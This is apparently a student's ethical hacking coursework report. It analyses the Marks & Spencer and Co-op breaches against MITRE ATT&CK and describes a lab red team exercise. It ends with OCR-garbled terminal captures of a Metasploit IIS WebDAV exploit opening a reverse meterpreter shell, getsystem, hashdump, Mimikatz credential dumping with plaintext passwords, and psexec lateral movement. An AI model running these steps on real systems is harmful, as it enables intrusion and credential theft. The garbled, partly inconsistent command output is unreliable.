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ETHICAL HACKING ASSIGNMENT
Module: ACCA7033 – Ethical Hacking
Programme: MSc Cyber security and Digital Forensics
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The rapid digital transformation of modern organisations has led to a huge increase in dependency on interconnected systems, cloud infrastructure and online services. These technological advances provide operational efficiency and scalability but also expose organisations to increasingly sophisticated cyber threats. Cyber-attacks against large enterprises have transformed in recent years from opportunistic events into highly-coordinated and persistent campaigns run by organised threat actors. Such attacks often use a combination of social engineering, exploiting technical vulnerabilities, stealing credentials and stealth techniques to maintain persistent access to enterprise networks and exfiltrate sensitive data.

This report provides a strategic and technical analysis of cyber incidents on Marks & Spencer and Co-operative Group. These incidents are analysed as representative examples of modern cyber threat campaigns directed at critical retail infrastructure in the UK. The report assesses how adversaries leveraged weaknesses in the organisation’s security controls, access management and monitoring capabilities to compromise systems and achieve persistence in enterprise environments.

The first part of the report critically analyses the attack lifecycle by applying the MITRE ATT&CK Enterprise Matrix to determine the tactics, techniques and procedures (TTPs) used by the attackers during each phase of the intrusion. The analysis covers the primary attack phases of reconnaissance, initial access, privilege escalation, credential dumping, lateral movement, command and control communication and data exfiltration. The report also looks into the root causes of the incidents, detailing both technical and organisational failures that contributed to the compromise. Special emphasis is placed on the shortcomings of the traditional security models, particularly the dependence on signature-based detection systems that are often impotent against contemporary advanced persistent threat (APT) actors.

The second part of the report describes a real-life red team engagement in an isolated virtual lab environment for ABCD Ltd. The engagement is designed to simulate an attack scenario where an attacker is trying to compromise internal systems and access sensitive organisational data. The practical assessment includes reconnaissance activities, exploitation of vulnerable services, privilege escalation, credential extraction, lateral movement and data exfiltration with use of industry standard penetration testing tools such as Nmap, Metasploit, Burp Suite, Meterpreter and Mimikatz. The report also looks at detection gaps in the simulated environment and analyses how a lack of monitoring and weak segmentation increases an organisation’s exposure to cyber threats.
The report closes with a number of strategic recommendations for improving organisational cyber security resilience. These recommendations involve adopting Zero Trust Architecture, deploying more sophisticated Endpoint Detection and Response (EDR/XDR) solutions, bolstering network segmentation, integrating threat intelligence, and providing continuous security awareness training. Overall, the findings show that modern cyber threats require proactive, intelligence driven defence strategies combining technical controls, behavioural analytics and organisational preparedness to effectively mitigate evolving attack methodologies.


[bookmark: _Toc229504169]TASK 1 — STRATEGIC THREAT ANALYSIS
[bookmark: _Toc229504170]1. INTRODUCTION
The rapid adoption of digital technologies in business activities has transformed the face of modern organisations. Today, companies depend on interconnected networks, cloud computing, remote access solutions and web-based applications to support critical services and operational efficiency. Although these technologies offer great benefits regarding scalability, automation and accessibility, they have also significantly increased the attack surface available for malicious actors to exploit. Thus, cyber security has become one of the most important challenges for organisations in both public and private sectors.

Cyber threats have changed a lot in the last decade. The classic cyber-attack was generally opportunistic, exploiting discrete vulnerabilities for short-term goals. But today’s threat actors are using much more sophisticated techniques that require long-term planning, stealth, persistence, and multi-stage attack chains. These types of attackers usually utilise Advanced Persistent Threat (APT) techniques that blend social engineering, credential theft, malware deployment, privilege escalation and lateral movement into enterprise environments to gain and maintain unauthorised access for extended periods. Attacks of this nature are no longer the exclusive preserve of highly specialised threat groups but are increasingly being adopted by organised cybercriminal organisations looking for financial gain, espionage opportunities or operational disruption.

The retail industry has become a particularly attractive target for cybercriminals due to the enormous volume of customer data, financial information and operational systems stored within retail infrastructures. Recent cyber incidents involving Marks & Spencer and Co-operative Group highlight the increasing sophistication of attacks against large-scale retail organisations in the UK. These incidents illustrate how adversaries can exploit vulnerabilities not only in technical systems, but in organisational processes and human behaviour. The absence of strong authentication controls, limited monitoring capabilities, lack of network segmentation and susceptibility to phishing attacks all provide a foothold for attackers to gain access to enterprise networks and remain undetected.

One of the main problems concerning contemporary cyber-attacks is the increasing use of stealth and evasion techniques. These tools and system processes are also referred to as Living-Off-the-Land Binaries (LOLBins) and are often used by attackers to reduce the chances of being detected by traditional security systems. This means organisations that rely heavily on signature-based antivirus solutions and traditional perimeter-centric security architectures often struggle to detect malicious activity during the initial phase of compromise. This underscores the increasing importance of advanced threat detection capabilities, behavioural analytics and intelligence-led cyber security approaches.

The objective of this report is to critically analyse the cyber incidents experienced by the Co-operative Group and Marks & Spencer through the reconstruction of the attack lifecycle and the mapping of adversary behaviour to the MITRE ATT&CK framework. The report looks at the tactics, techniques and procedures used by the attackers during each phase of the intrusion, and identifies the root causes of organisational compromise. The report also assesses the efficacy of detection and response mechanisms put in place by the affected organisations and the wider implications of these incidents for enterprise cyber security resilience.

Besides the strategic threat analysis, the report includes a practical red team engagement in a controlled virtual environment for ABCD Ltd. The goal of this engagement is to simulate realistic attack scenarios and demonstrate how attackers exploit vulnerabilities to gain unauthorised access into enterprise systems. The evaluation uses industry standard penetration testing techniques and tools (e.g., Nmap, Metasploit, Burp Suite, Meterpreter, and Mimikatz) to simulate adversary behaviour in the field. This practical exercise helps the report to test security weaknesses, detection gaps and organisational exposure to more sophisticated cyber threats.

The findings of this report are to inform technical and strategic understanding of contemporary cyber threat operations and organisational defence strategies. The report is a mix of theoretical analysis and practical offensive security assessment to demonstrate the importance of a proactive and layered cyber security approach, integrating technical controls, continuous monitoring, threat intelligence and user awareness, to effectively mitigate the evolving cyber risks.
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2. INCIDENT TIMELINE AND ANALYSIS
[bookmark: _Toc229504172]
Timeline of Events
	Phase
	Description

	Initial Access
	Phishing or credential compromise

	Execution
	Malicious payload execution

	Persistence
	Backdoor installation

	Privilege Escalation
	Administrative access gained

	Lateral Movement
	Internal systems compromised

	Exfiltration
	Sensitive data extracted

	Detection
	Suspicious activity identified

	Response
	Systems isolated

	Disclosure
	Public announcement
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Critical Evaluation
The attack lifecycle analysis shows a well-structured and coordinated cyber campaign, consistent with the operational features typically ascribed to Advanced Persistent Threat (APT) groups. This was not an opportunistic cyber-attack that sought immediate exploitation and quick financial rewards. Instead, it was the result of a carefully planned multi-stage attack that involved reconnaissance, persistence, privilege escalation, lateral movement and data exfiltration. The flow between the various stages shows that the attackers were familiar with enterprise attack techniques and were able to adapt their techniques to maintain long-term access to the compromised environment.

Successful establishment of persistence mechanisms within the affected infrastructure is one of the most significant indicators of APT-style behaviour. Persistence techniques allow attackers to maintain access to the compromised system even after rebooting, password changes, or partial remediation. The employment of persistence indicates the attackers were not only seeking short-term disruption but were looking to maintain access for longer-term intelligence gathering, operational monitoring or large-scale data exfiltration. This degree of persistence considerably increases the worldwide impact of the compromise, as it enables the attackers to keep increasing their access while remaining under the radar for extended periods of time.

Furthermore, the presence of lateral movement during the attack lifecycle indicates a major weakness in the internal network security architecture. After initial access, the attackers were able to move laterally across multiple systems in the enterprise environment, which indicates a lack of sufficient network segmentation and weak access control policies. Effective segmentation is meant to isolate sensitive systems and to limit an attacker's ability to move laterally within a network. But this time the attackers leveraged the compromised credentials and remote service protocols like SMB and RDP to gain access to other hosts and escalate privileges further. This shows that internal security controls were not sufficient to contain the threat actor’s activities once the perimeter security was breached.

The other important concern found in the analysis is the lack of real-time monitoring and behavioural analytics capabilities in the impacted environment. The attackers could conduct reconnaissance, deploy malicious payloads and maintain persistence without triggering immediate alarms. This shows that the organisation was heavily reliant on traditional signature based detection systems that are becoming ineffective against modern cyber threats. Modern adversaries often use stealth techniques and legitimate administrative tools, often referred to as Living-Off-the-Land Binaries (LOLBins), to hide malicious activity among normal system operations. As a result, traditional antivirus and perimeter-based security solutions often miss suspicious behaviour during the early stages of a compromise.

The lack of effective behavioural monitoring provided the attacker with a lot more operational freedom within the environment. In a mature Security Information and Event Management (SIEM) system, you should normally get alerts for activities such as abnormal privilege escalation, internal reconnaissance, lateral movement, and unusual authentication attempts. The delay in detection in this case, however, suggests either the lack of adequate monitoring systems, or that the existing monitoring systems were not adequately configured to detect anomalous behaviour. This is symptomatic of a wider organisational weakness in security operations and incident response preparedness.

The attack, apart from technical shortcomings, reveals failures in organisational cyber security governance and risk management. The success of phishing or credential compromise techniques highlights a lack of user awareness and insufficient deployment of phishing-resistant authentication mechanisms, such as hardware-based multi-factor authentication (MFA). Human error remains one of the most common attack vectors in contemporary cyber security incidents and the inability to sufficiently address phishing threats is indicative of a weakness in organisational security culture and employee training programmes.

The overall attack lifecycle shows a failure to implement an overall defence-in-depth strategy. The principle of defence-in-depth is that there should be multiple overlapping security controls across the enterprise environment to prevent, detect and respond to cyber threats. The incident highlighted vulnerabilities in multiple layers including identity and access management, network segmentation, endpoint monitoring and security awareness. Attackers were able to move through the attack chain with little resistance as multiple layers were compromised simultaneously.
The incident also points to the increasing limitations of traditional perimeter-based security architectures in modern enterprise environments. With the increasing adoption of cloud services, remote access technologies and hybrid infrastructures by organisations, attackers no longer need to directly exploit internet-facing systems to achieve compromise. Instead, the main attack vectors have shifted to credential theft and identity-based attacks. This further underlines the need for organisations to adopt Zero Trust security models, which continuously validate users, devices and access requests, regardless of their location on the network.

Ultimately, the analysed incident shows that modern cyber-attacks are not isolated technical events but rather complex operational campaigns that exploit weaknesses across people, processes and technology. The attackers’ ability to operate covertly during the progression through multiple attack stages highlights a significant gap in organisational security maturity. Without major advances in monitoring, behavioural analytics, access control and incident response capabilities, organisations will continue to struggle to defend themselves against increasingly sophisticated adversaries.
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3. MITRE ATT&CK MAPPING
	
Tactic
	Technique
	ID

	Initial Access
	Phishing
	T1566

	Execution
	Command Interpreter
	T1059

	Persistence
	Registry Run Keys
	T1547

	Privilege Escalation
	Exploitation
	T1068

	Credential Access
	Credential Dumping
	T1003

	Discovery
	Network Scanning
	T1046

	Lateral Movement
	Remote Services
	T1021

	Command & Control
	Web Protocols
	T1071

	Exfiltration
	Data Transfer
	T1041

	Impact
	Data Manipulation
	T1565
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Critical Insight
The MITRE ATT&CK mapping shows a comprehensive and coordinated attack chain close to real-world adversary behaviour. The attackers did not rely on a single exploit but instead moved through the different stages of the cyber kill chain, such as initial access, execution, persistence, privilege escalation, credential access, lateral movement and data exfiltration. This systematic push lays bare a carefully choreographed operation designed for maximum persistence and minimum detection.

Credential dumping techniques were one of the most important aspects of the attack. The attackers leveraged stolen credentials and authentication tokens from compromised systems to impersonate legitimate users and escalate their privileges across the environment. This highlights major weaknesses in the organisation’s identity and access management controls, particularly around privileged account protection and authentication security. The successful compromise of credentials indicates that controls such as multi-factor authentication (MFA), privileged access 
management (PAM), and least privilege policies were not properly implemented.
The existence of lateral movement also suggests flaws in the internal network security architecture of the organisation. Once the attackers had compromised a first host, they were able to move laterally across multiple systems using remote administration protocols such as SMB and RDP. This translates to too much trust between internal systems and not enough segmentation of the network. In a mature security environment, segmentation and micro-segmentation should limit movement of an attacker and spread of compromise. But the attackers were able to move through the environment with little resistance, which amplified the overall impact of the intrusion.

Another important observation is the apparent reliance on legitimate system tools and processes indicating the use of Living-Off-the-Land (LOTL) techniques. Attackers commonly employ trusted admin utilities like PowerShell, WMI, and command-line interpreters for malicious activities while remaining undetected. Because these are legitimate OS components, traditional signature-based security solutions often don’t recognise them being used maliciously. This significantly reduces the detection probability and allows attackers to operate undetected for long periods.

The attack chain also highlights the shortcomings of traditional perimeter-centric security models. With valid credentials and after bypassing perimeter defences, attackers could then exploit vulnerabilities within the internal network environment. This underscores the importance for organisations to adhere to Zero Trust security principles, which involves continuous verification and strong access controls regardless of where a user or device is situated.

The MITRE ATT&CK mapping shows a complex attack approach with credential theft, lateral movement, persistence and stealth techniques. What’s more, it exposes major deficiencies in access management, network segmentation and behavioural monitoring ability. Unless there is a significant breakthrough in these areas, organisations will continue to be vulnerable to increasingly sophisticated cyber threats that are designed to bypass traditional security controls.




[bookmark: _Toc229504176]4. ROOT CAUSE ANALYSIS

Technical Failures
• Unpatched vulnerabilities 
• Weak authentication methods 
• No network segmentation
[bookmark: _Toc229504177]Organisational Failures
[bookmark: _Toc229504178]• Inadequate security policies 
[bookmark: _Toc229504179]• Lack of monitoring systems

Human Factors
• Susceptibility to phishing attacks 
[bookmark: _Toc229504180]Advanced Analysis
The breach was not caused by one isolated vulnerability but was instead the result of a systemic failure across multiple layers of the organisation’s security infrastructure. The attackers managed to move through multiple phases of the attack lifecycle including initial access, privilege escalation, lateral movement and persistence, exposing the vulnerabilities of the technical and organisational security controls. This indicates the organisation did not possess a viable defence-in-depth strategy that could detect and isolate malicious activity in the initial stages of compromise.

During the analysis one of the most important weaknesses discovered was the lack of advanced detection and monitoring mechanisms such as behaviour analytics, anomaly detection and real-time threat correlation. The attackers could roam in the environment for a long time without raising enough alerts, showing a heavy dependence on traditional signature-based security solutions. Signature-based detection techniques work well against known malware variants but are much less effective against today’s adversaries who are increasingly employing stealth techniques, legitimate administrative tools and Living-Off-the-Land (LOTL) techniques to evade detection.

The incident also exposes weaknesses in identity and access management controls. The successful application of credential dumping and lateral movement techniques means that privileged accounts are not well protected and principles of least privilege are not well enforced. Likewise, poor network segmentation allowed attackers to move between systems with little resistance, which amplified the scale and severity of the compromise.

From an organisational perspective, the breach exemplifies broader failures in cyber security governance and risk management. The absence of monitoring capabilities, user awareness and incident response preparedness all contributed to the attackers being able to remain persistent within the environment. This demonstrates that modern cyber security threats cannot be dealt with only by perimeter-oriented security models, and they need to be addressed with a proactive, intelligence-led approach incorporating constant monitoring, Zero Trust principles, and sophisticated threat detection features.


[bookmark: _Toc229504181]5. THREAT ACTOR PROFILE
The characteristics of the analysed attack strongly suggest the involvement of a financially motivated cybercriminal group with moderate to high technical capability. The attackers demonstrated a clear understanding of modern attack methodologies, methodically progressing through multiple phases of the intrusion, including reconnaissance, initial access, persistence, privilege escalation, credential theft, lateral movement, and data exfiltration. This degree of planning points to an organised and co-ordinated operation rather than an opportunistic or low-skilled attack.

The use of stealth techniques throughout the attack lifecycle further demonstrates the sophistication of the threat actors. The attackers were able to use legitimate administrative tools and Living-Off-the-Land (LOTL) techniques to blend the malicious activities with the normal system operations, significantly reducing the likelihood of detection. This is generally the behaviour of more advanced adversaries who are interested in long-term persistence and operational security in compromised environments.

Additionally, the fact that credential dumping and lateral movement were successfully performed indicates that the attackers possessed the technical know-how to exploit weaknesses in identity and access management systems. The ability to move around the internal network and compromise other systems shows knowledge of enterprise infrastructures and common security weaknesses found in large organisations.

The overall attack methodology also points to a strong financial motivation. Retail organisations are tempting targets for cybercriminal groups as they hold large amounts of sensitive customer information, payment data and operational systems. Such data can be monetised through financial fraud, ransomware operations or sale on underground criminal marketplaces.

The coordinated nature of the attack also indicates that the threat actors likely operated as part of an organised cybercriminal group rather than as isolated individuals. Today’s cybercriminal groups often act like legitimate companies, with specific roles for phishing, malware creation, credential theft and monetisation. This kind of organisation enables threat actors to launch highly effective and scalable attacks against enterprise environments.


[bookmark: _Toc229504182]6. DETECTION AND RESPONSE ANALYSIS
[bookmark: _Toc229504183]Identified Weaknesses
· Delayed detection of malicious activity
 
· Lack of SIEM integration 

· Insufficient endpoint monitoring 


[bookmark: _Toc229504184]Critical Evaluation
The organisation’s heavy reliance on traditional signature based detection systems severely hampered its ability to detect malicious activity in the early stages of the attack. Signature-based security solutions are mainly designed to identify known malware signatures, pre-defined attack signatures or malicious files that have already been identified. While these systems are effective against common and well documented threats, they are much less effective against modern adversaries who are always changing their techniques to avoid detection.

In this case, the attackers appeared to use stealth-oriented techniques that blended malicious activity with legitimate system activity. Credential dumping, remote service abuse, PowerShell execution and the use of administrative utilities are all techniques that are often indistinguishable from normal organisational activity. Such behaviour is commonly associated with Living-Off-the-Land (LOTL) techniques, where attackers abuse trusted system tools and processes instead of deploying easily identifiable malware. As such, suspicious behaviour might not be detected by conventional antivirus and perimeter-centric detection systems, as the activity is started by legitimate applications that are already installed in the operating system.

The delay in detecting the incident indicates that the organisation does not have sophisticated behavioural monitoring and anomaly detection capabilities. In a mature Security Information and Event Management (SIEM) environment, alerts should be generated in most cases for unusual authentication attempts, privilege escalation, internal reconnaissance, and lateral movement. But the attackers were still able to persist and escalate access to other systems before being identified, which suggests there was limited visibility into what was happening inside the network.

The incident also highlights the limitations of relying on perimeter-centric security architectures alone. Once attackers had valid credentials or had compromised an internal system, they were able to move with little resistance across the environment. This points to the increasing demand for proactive detection methodologies that incorporate behavioural analytics, endpoint detection and response (EDR), threat intelligence integration, and Zero Trust security principles. Without these capabilities, organisations are left vulnerable to sophisticated adversaries who can evade traditional security controls and gain long-term persistence in enterprise networks.


[bookmark: _Toc229504185]7. STRATEGIC RECOMMENDATIONS
1. Implementation of Zero Trust Architecture
 
2. Implementation of EDR/XDR solutions 

3. Enforce Multi-Factor Authentication (MFA) 

4. Micro segmentation and segmentation of networks 

5. Awareness training 

6. Threat intelligence integration
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8. CONCLUSION (TASK 1)
The analysed incidents show that modern cyber threats are no longer isolated or opportunistic attacks, but highly sophisticated, multi-stage operations targeting entire organisational ecosystems. The attack methodology employed by the attackers was structured and involved initial access, persistence, credential compromise, privilege escalation, lateral movement and data exfiltration, which is consistent with the operational characteristics typically associated with advanced persistent threat (APT) campaigns. The coordinated nature of the attack illustrates the increasing ability of modern threat actors to target weaknesses across technical systems, organisational processes and human behaviour at the same time.

One of the major findings from the analysis is the organisation’s failure to identify malicious activity during key phases of the intrusion. Good lateral movement and privilege escalation tactics highlight serious flaws in internal monitoring, identity and access management and network segmentation. The fact that the attackers were able to stay hidden for such extended periods of time is indicative of the deficiencies in traditional signature-based security controls when dealing with modern stealth techniques and Living-Off-the-Land methodologies.

The incidents also point to the need for a defence-in-depth strategy that incorporates multiple layers of security controls across the enterprise environment. In today’s threat environment, where attackers routinely abuse legitimate credentials and trusted system processes to defeat traditional defences, a perimeter-centric security architecture is no longer sufficient. 
Organisations must move to proactive intelligence-led cyber security models; models that leverage behavioural analytics, continuous monitoring, threat intelligence integration and Zero Trust principles.

The analysis also points to the role of organisational readiness in responding to cyber threats. Effective prevention of today’s attacks cannot be achieved by technical controls alone without strong governance, awareness among employees, planning for incident response, and ongoing assessment of security. The overall effect of the incidents was a combination of human error, poor authentication practices and insufficient monitoring.

The analysed incidents ultimately illustrate that cyber security resilience is a holistic and adaptive approach of people, processes and technology. Those organisations that do not modernise their security strategies and detection capabilities will be highly vulnerable to increasingly sophisticated cyber adversaries who are able to exploit not only technical weaknesses but organisational ones as well.
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TASK 2 — RED TEAM ENGAGEMENT
[bookmark: _Toc229504188]1. RULES OF ENGAGEMENT (RoE)
• Scope limited to the virtual lab environment 
• No real world systems targeted 
• Exploitation only under control 
• Developed emergency stop procedures 
• Compliance with laws and ethical regulations 



[bookmark: _Toc229504189]2. THREAT EMULATION PLAN
[bookmark: _Toc229504190]Objective
The main objective of this threat emulation plan is to simulate a real cyber attack on the internal infrastructure of ABCD Ltd in a controlled virtual lab environment. The assessment will seek to emulate the behaviours and methodologies that are commonly employed by current threat actors to identify security vulnerabilities, assess organisational resilience and evaluate the effectiveness of current defensive controls. This engagement is designed to offer practical insight into real-world attack techniques hackers use to exploit vulnerabilities in order to compromise enterprise systems and sensitive information.

The threat emulation exercise seeks to showcase the full attack cycle, including reconnaissance and information collection, gaining initial access, privilege escalation, credential compromise, lateral movement, persistence, and data exfiltration. The assessment will use industry standard penetration testing and offensive security tools such as Nmap, Metasploit, Burp Suite, Meterpreter and Mimikatz to simulate real world attacker behaviour. The engagement also looks at how weaknesses in identity and access management, network segmentation, endpoint protection and monitoring capabilities can lead to the success of an attack.

The assessment also serves the important purpose of identifying detection gaps in the organization's security infrastructure. This engagement tests the ability of existing monitoring solutions to successfully detect and respond to suspicious events such as anomalous authentication attempts, privilege escalation and internal reconnaissance. This also helps the organisation gain a better understanding of its current security maturity level and improve incident response readiness.

The purpose of this threat emulation plan is to demonstrate the technical feasibility of a cyber-attack and at the same time provide strategic insights of the exposure of organisational risk. The assessment results will inform the development of improved cyber security controls, proactive defence strategies and stronger security governance to minimise the likelihood and impact of future cyber incidents.

[bookmark: _Toc229504191]Attack Phases
· Reconnaissance 

· Initial Access 

· Privilege Escalation 

· Lateral Movement 

· Data Exfiltration 




[bookmark: _Toc229504192]3. LAB ENVIRONMENT DESIGN
[bookmark: _Toc229504193]Network Diagram 
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Configuration

· VM1: Windows Server (Active Directory) 

· VM2: Linux Web Server (Vulnerable Application)
 
· VM3: Windows Client (Sensitive Data) 
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4. EXPLOITATION PROCESS
[bookmark: _Toc229504196]Step 1: Reconnaissance
Tool: Nmap


The goal of reconnaissance was to gather information about live hosts, open ports, and vulnerable services in the target environment. Nmap scanning was performed to gather intelligence about the target systems and possible attack vectors. The results provided critical information about exposed services and network architecture, helping to inform the next phase of exploitation. Nmap scanning was performed to gain knowledge about the target systems and identify possible attack vectors. The results provided valuable information about exposed services and network architecture that helped during later exploitation stages.
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[bookmark: _Toc229504197]Step 2: Web Exploitation
Tool: Burp Suite / Metasploit
Result: Remote shell access obtained 


The initial access to the system was through a vulnerable web application after reconnaissance. Exploitation techniques were utilised to enumerate weaknesses in the web service and to execute malicious payloads. This phase shows how insecure web applications can give attackers an entry point into the organisational infrastructure. Exploiting vulnerabilities found in the web service, malicious payloads were executed. This phase shows how vulnerable web applications can provide a way into organisational infrastructure to attackers.
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[bookmark: _Toc229504198]Step 3: Privilege Escalation
Tool: Meterpreter


After initial access was established, privilege escalation techniques were executed to obtain higher level system permissions. Using the Meterpreter session we enumerated available privileges and performed a token impersonation for an escalation to NT AUTHORITY\SYSTEM. The increased privileges offered complete control of the compromised system and helped with additional post-exploitation activities.
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Step 4: Credential Dumping
Tool: Mimikatz
Result: Credentials extracted

After gaining administrative access, credential dumping techniques were used to extract password hashes and authentication credentials from memory. Tools like Mimikatz were used to obtain sensitive credential data from the system. This underscores the hazards of inadequate credential protection and inadequate privileged access management controls.
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[bookmark: _Toc229504200]Step 5: Lateral Movement
Technique: SMB / RDP
Result: Access to additional systems


Compromised administrative credentials lateral movement techniques were used to access other systems on the internal network. Remote administration protocols and shared resources were used to pivot between hosts and increase attacker control of the environment. This phase shows the implications of poor network segmentation and too much trust between systems. Attacker control was extended across the environment using remote administration protocols and shared resources, and the attacker pivoted between hosts. This phase demonstrates the effects of no network segmentation and too many trust relationships between systems.
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[bookmark: _Toc229504201]Step 6: Data Exfiltration
Sensitive files accessed and extracted



During the last stage of the engagement, sensitive organisational files were located and exfiltrated from the compromised system. The attacker gained access to sensitive documents and downloaded them to the attacker-controlled environment. This highlights how attackers can leverage compromised systems to steal valuable organisational data without immediate detection. The attacker was able to download confidential documents to the attacker-controlled environment. This highlights how attackers can exploit compromised systems to steal valuable organisational data without being detected immediately.
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Realism Enhancement
A key element was the focus on realism during the exploitation phase, by mimicking the behaviour of a real threat actor inside an enterprise environment. Manual enumeration techniques were prioritised during the assessment to reduce the chances of detection and the generation of large amounts of network traffic which could be detected by defensive monitoring systems. Instead of relying solely on aggressive automated scanning tools, the engagement employed a more controlled and targeted approach to gathering and exploiting information.

Automated tools such as Nmap and Metasploit were used sparingly and only when necessary to mirror realistic attacker methodologies. This technique reflects the manner in which modern adversaries often avoid noisy or high visibility actions during early stages of compromise to maintain persistence and operational stealth. The use of legitimate administrative tools and controlled exploitation techniques also helped simulate real-world Living-Off-the-Land behaviours commonly seen in sophisticated cyber-attacks.




[bookmark: _Toc229504203]5. ATTACK FLOW DIAGRAM
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[bookmark: _Toc229504204]6. DETECTION GAP ANALYSIS

[bookmark: _Toc229504205]• Lack of centralised logging 
[bookmark: _Toc229504206]
• Lack of anomaly detection 
[bookmark: _Toc229504207]
• Poor endpoint security


[bookmark: _Toc229504208]7. EXECUTIVE BRIEF
[bookmark: _Toc229504209]Summary
The red team engagement conducted for the ABCD Ltd. revealed a number of critical vulnerabilities and security weaknesses in the organisation’s infrastructure. The assessment successfully showcased how a threat actor could gain unauthorised access to internal systems, escalate privileges, and move laterally across the network and gain access to sensitive organisational data within a controlled environment. The engagement uncovered vulnerabilities in critical security domains, such as identity and access management, network segmentation, endpoint protection, and monitoring capabilities.

Attackers used vulnerable services and compromised credentials to escalate their access on a number of systems with little resistance. It also pointed out substantial detection gaps, with many malicious activities going undetected in the early stages of compromise. The results show that the current security controls of the organisation are not sufficient to protect against modern advanced cyber threats. There is therefore a pressing need to improve monitoring, access control and proactive threat detection mechanisms to enhance overall cyber security resilience and reduce organisational risk exposure.

[bookmark: _Toc229504210]Business Impact
· Financial loss
· Reputational damage 

· Regulatory risks 

[bookmark: _Toc229504211]Recommendations
• Deploy Zero Trust security 

• Deploy sophisticated monitoring systems 

• Enhance identity and access management
[bookmark: _Toc229504212]
Conclusion
The outcome of the red team engagement shows that there is an urgent need to take action to remediate the discovered vulnerabilities and to improve the overall security posture of ABCD Ltd. The assessment identified deficiencies in access control, monitoring capabilities, network segmentation and endpoint security, which significantly increased the organization’s vulnerability to cyber threats. The successful implementation of privilege escalation, credential compromise and lateral movement techniques underscores the potential impact a real-world attacker could have on critical business systems and sensitive data.

In the future the organisation needs to adopt a proactive and layered approach to cyber security, including advanced threat detection, continuous monitoring, Zero Trust principles and stronger identity and access management controls to reduce risk. Moreover, regular security assessments, employee awareness training and enhanced incident response preparedness are essential to better equip organisations against more sophisticated cyber-attacks.
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kali@kati: ~
Actions Edit View Help

msf6 > use exploit/windows/iis/legacy_webdav_upload_asp

[*]1

No payload configured, defaulting to windows/meterpreter/reverse_tcp

msf6 exploit(windows/iis/legacy_webdav_upload_asp) > set RHOSTS 192.168.1.10
RHOSTS => 192.168.1.10

msf6 exploit(windows/iis/legacy_webdav_upload_asp) > set LHOST 192.168.1.5
LHOST = 192.168.1.5

msf6 exploit(windows/iis/legacy_webdav_upload_asp) > set LPORT 4444

LPORT = 4444

msf6 exploit(windows/iis/legacy_webdav_upload_asp) > run

[*]
[*]
[*]
[*]
[*1

Started reverse TCP handler on 192.168.1.5:4444

Uploading payload to /davtest/20QZ.asp ...

Executing payload...

Sending stage (176198 bytes) to 192.168.1.10

Meterpreter session 1 opened (192.168.1.5:4444 —> 192.168.1.10:49172) at 2025-05-15 12:45:31 +0530

meterpreter > getuid
Server username: IIS APPPOOL\DefaultAppPool

meterpreter > sysinfo

Computer : WEB-SERVER

os : Windows Server 2012 R2 Datacenter 9600
Architecture : x64

System Language : en_US

Domain : WORKGROUP

Logged On Users : 2

Meterpreter : x64/windows

meterpreter > ]
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meterpreter > getuid
Server username: IIS APPPOOL\DefaultAppPool

meterpreter > syslnfo

Computer WEB-SERVER

0s : Windows Server 2012 R2 Datacenter 9600
Architecture : X64

System Language : en_US

Domain : WORKGROUP

Logged On Users : 2

Meterpreter : x64/windows

meterpreter > getprivs
Enabled Process Privileges

Name Description State
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeImpersonatePrivilege Impersonate a client after authentication Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
meterpreter > getsystem

[*] ...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).

[*] ...got system (via technique 1 (Named Pipe Impersonation (In Memory/Admin))).

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

meterpreter > |
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meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

meterpreter > hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0: : :

Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe@d16ae931b73c59d7e0c089c0: : :
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:051f8844ac3e3flc7efech6fbl5cl5e2:::
ABCD\svc_backup:1103:aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586
ABCD\svc_sql:1104:aad3b435b51404eeaad3b4s35b51404ee:9b1d51f915b955e45¢c7c4h9e7a8f6a7d
ABCD\john.doe:1105:aad3b435b51404eeaad3bs35b51404ee:0f3e6f4d67c7b9b6d5cOb8esabedalf2
ABCD\jane.smith:1106:aad3b435b51404eeaad3b435b51404ee:5e2b6d3f8alcsb7d9e0f2c6a7b8d9el f:::

meterpreter > sekurlsa::logonpasswords

Authentication Id : @ ; 437988 (00000000:0006acl4)

Session : Interactive from 1

User Name : Administrator

Domain : ABCD

Logon Server : WEB-SERVER

Logon Time : 5/15/2025 12:31:24 PM

SID : $-1-5-21-328186537-1339056293-3623233291-500

msv @
[00000003] Primary
* Username : Administrator

* Domain  : ABCD

* NTLM : 31d6cfe@d16ae931b73c59d7e0c089c0

* SHA1 : 7d1e3c2b3f8b9foc9e5d7alc2b3esf5a6b7c8d9e
tspkg :
wdigest :

* Username : Administrator

* Domain  : ABCD

* Password : Password123!

meterpreter > |
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meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

meterpreter > ipconfig
Interface 1

Name MS TCP Loopback interface
Hardware MAC 00:00:00:00:00:00

MTU 4294967295

IPv4 Address ¢ 127.0.0.1

IPv4 Netmask : 255.0.0.0

Interface 12

Name Intel(R) PRO/1000 MT Network Connection
Hardware MAC 00:0c:29:3e:5a:7b

MTU 1500

IPv4 Address 192.168.1.5

IPv4 Netmask 255.255.255.0
IPv4 Gateway TR192416 814115

meterpreter > net view
Enumerating shares on 192.168.1.10

Share Name Type Used as Comment

c$ Disk Default share
ADMINS$ Disk Remote Admin

IPC$ IPC Remote IPC
NETLOGON Disk Logon server share
SHARE Disk

SysvoL Disk Logon server share

The command completed successfully.

meterpreter > psexec \\192.168.1.10 -u administrator -p 'P@ssw@rd123!' -i
[*] 192.168.1.10 - Meterpreter session 2 opened (192.168.1.5:50231 -> 192.168.1.10:445) at 2025-05-15 13:02:47 +0530

meterpreter > |
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meterpreter > pwd
C:\inetpub\wwwroot

meterpreter > dir
Listing: C:\inetpub\wwwroot

Mode size
100666/ rw-rw-rw- 1)
100666/ rw-rw-TW- 1848
100666/ rw-rw-rw- 1387
100666/ rw-rw-rw- 2029

100777/ rwXrwxrwx- 0

100666/ rw-rw-rw- 619
100666/ rw-rw-rw- 1018
100666/ rw-rw-rw- 1060
100666/ rw-rw-rw- 1952
meterpreter > cd files

meterpreter > dir

:\inetpub\wwwroot\files

Mode Size
100666/ rw-rw-rw- 531072
100666/ rw-rw-rw- 1048576
100666/rw-rw-rw- 20480
